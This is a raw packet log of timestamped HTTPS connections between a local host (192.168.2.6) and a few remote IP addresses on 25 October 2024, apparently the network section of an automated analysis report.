Oct 25, 2024 10:19:33.938020945 CEST	50082	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:33.938201904 CEST	443	50082	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:33.938205004 CEST	50082	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:33.938267946 CEST	50082	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:33.938311100 CEST	443	50082	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:34.004936934 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.005186081 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.005203962 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.006376982 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.006742001 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.006917000 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.006917953 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.006979942 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.007028103 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.085736990 CEST	443	50082	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:34.085820913 CEST	50082	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:34.086344004 CEST	50082	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:34.086390972 CEST	443	50082	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:34.189224005 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.189260960 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.189290047 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.189294100 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.189323902 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.189343929 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.189678907 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.189733028 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.189846992 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.189855099 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.190268993 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.190325022 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.190330982 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.190433025 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.306405067 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.306464911 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.306499004 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.306500912 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.306520939 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.306561947 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.306597948 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.306626081 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.306678057 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.306678057 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.306689024 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.306730032 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.307260036 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.307305098 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.307538986 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.307544947 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.307960033 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.308007956 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.308027029 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.308033943 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.308111906 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.308126926 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.308135033 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.308173895 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.308181047 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.309056044 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.309149027 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.309164047 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.309170008 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.309322119 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.309326887 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.347814083 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.351274967 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.351300955 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.351821899 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.352752924 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.352819920 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.353235960 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.395366907 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.423696995 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.423806906 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.423839092 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.423860073 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.423964977 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.423966885 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.423995018 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.424050093 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.424324989 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.424482107 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.424535036 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.424545050 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.424783945 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.424880028 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.424896002 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.424905062 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.424946070 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.424977064 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.424997091 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.425045013 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.425679922 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.425698042 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.425770044 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.425790071 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.425883055 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.425985098 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.425992012 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.426146984 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.426542044 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.426604986 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.426645994 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.426697969 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.427392960 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.427457094 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.427484989 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.427536011 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.428247929 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.428319931 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.428339005 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.428390026 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.429018974 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.429086924 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.484774113 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.484850883 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.484957933 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.484980106 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.485033989 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.485038042 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.485063076 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.485071898 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.485356092 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.485565901 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.485652924 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.485697031 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.485738039 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.485742092 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.489368916 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.541218996 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.541316032 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.541332006 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.541383982 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.541435003 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.541486979 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.541529894 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.541578054 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.541968107 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.542026997 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.542059898 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.542113066 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.542438984 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.542490005 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.542535067 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.542587042 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.542857885 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.542918921 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.543020964 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.543072939 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.543113947 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.543165922 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.543817043 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.543878078 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.543917894 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.544087887 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.544142008 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.571619987 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:34.571654081 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:34.600759029 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.600918055 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.601020098 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.601098061 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.601124048 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.601147890 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.601170063 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.601792097 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.601886034 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.601968050 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.602029085 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.602041960 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.602440119 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.602673054 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.602725983 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.602737904 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.602859020 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.602907896 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.602917910 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.603393078 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.603446960 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.603457928 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.603775024 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.603852034 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.603900909 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.603912115 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.604610920 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.604659081 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.604669094 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.716557026 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.716654062 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.716681957 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.716845989 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.716955900 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.717009068 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.717024088 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.717147112 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.717205048 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.717215061 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.717355967 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.717366934 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.717470884 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.717569113 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.717617989 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.717631102 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.717709064 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.717767000 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.717777967 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.718378067 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.718441963 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.718452930 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.718920946 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.718939066 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.718980074 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.718996048 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.719075918 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.719134092 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.719145060 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.719209909 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.719264030 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.719273090 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.719512939 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.719926119 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.719985962 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.720036983 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.720087051 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.720783949 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.720870972 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.720913887 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.720928907 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.720958948 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.721251011 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.721633911 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.721796989 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.726723909 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.832654953 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.832742929 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.832788944 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.832834959 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.833065987 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.833115101 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.833419085 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.833456993 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.833878994 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.833945036 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.833950043 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.833995104 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:34.834041119 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.838753939 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:34.838776112 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:35.483454943 CEST	50087	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:35.483514071 CEST	443	50087	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:35.483582020 CEST	50087	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:35.483833075 CEST	50087	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:35.483840942 CEST	443	50087	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:36.089394093 CEST	443	50087	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:36.107202053 CEST	50087	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:36.107249975 CEST	443	50087	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:36.107686043 CEST	443	50087	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:36.108289957 CEST	50087	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:36.108385086 CEST	443	50087	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:36.108623981 CEST	50087	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:36.151338100 CEST	443	50087	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:36.231683969 CEST	50090	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:36.231741905 CEST	443	50090	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:36.232465029 CEST	50090	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:36.232812881 CEST	50090	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:36.232851982 CEST	443	50090	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:36.247512102 CEST	443	50087	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:36.247592926 CEST	443	50087	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:36.247673035 CEST	443	50087	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:36.247772932 CEST	50087	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:36.248778105 CEST	50087	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:36.248806000 CEST	443	50087	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:36.838592052 CEST	443	50090	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:37.020715952 CEST	50090	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:37.382075071 CEST	50090	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:37.382086039 CEST	443	50090	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:37.383902073 CEST	443	50090	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:37.387901068 CEST	50090	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:37.388087988 CEST	443	50090	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:37.388561010 CEST	50090	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:37.435322046 CEST	443	50090	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:37.523369074 CEST	443	50090	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:37.523556948 CEST	443	50090	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:37.523614883 CEST	50090	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:37.524396896 CEST	50090	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:37.524418116 CEST	443	50090	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:38.210575104 CEST	50094	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:38.210613966 CEST	443	50094	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:38.210843086 CEST	50094	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:38.211019993 CEST	50094	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:38.211031914 CEST	443	50094	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:38.823887110 CEST	443	50094	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:38.824331999 CEST	50094	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:38.824364901 CEST	443	50094	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:38.824686050 CEST	443	50094	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:38.825812101 CEST	50094	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:38.825865984 CEST	443	50094	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:38.826035976 CEST	50094	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:38.871331930 CEST	443	50094	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:38.927062035 CEST	50094	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:38.963752031 CEST	443	50094	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:38.963824987 CEST	443	50094	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:38.964020967 CEST	50094	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:38.971446991 CEST	50094	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:38.971479893 CEST	443	50094	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:38.980813980 CEST	50096	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:38.980859041 CEST	443	50096	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:38.981172085 CEST	50096	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:38.981630087 CEST	50096	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:38.981640100 CEST	443	50096	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:39.051739931 CEST	50097	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:39.051784992 CEST	443	50097	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:39.051863909 CEST	50097	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:39.052922964 CEST	50097	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:39.052942991 CEST	443	50097	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:39.629571915 CEST	443	50096	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:39.658761978 CEST	443	50097	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:39.704329967 CEST	50097	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:39.704356909 CEST	443	50097	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:39.704679966 CEST	50096	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:39.704710007 CEST	443	50096	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:39.704847097 CEST	443	50097	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:39.705634117 CEST	443	50096	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:39.705816031 CEST	50097	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:39.705882072 CEST	443	50097	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:39.706352949 CEST	50096	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:39.706466913 CEST	443	50096	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:39.706835985 CEST	50097	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:39.706949949 CEST	50097	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:39.706979990 CEST	443	50097	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:39.707031012 CEST	50097	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:39.707036018 CEST	443	50097	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:39.709127903 CEST	50097	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:39.709151983 CEST	443	50097	104.18.95.41	192.168.2.6
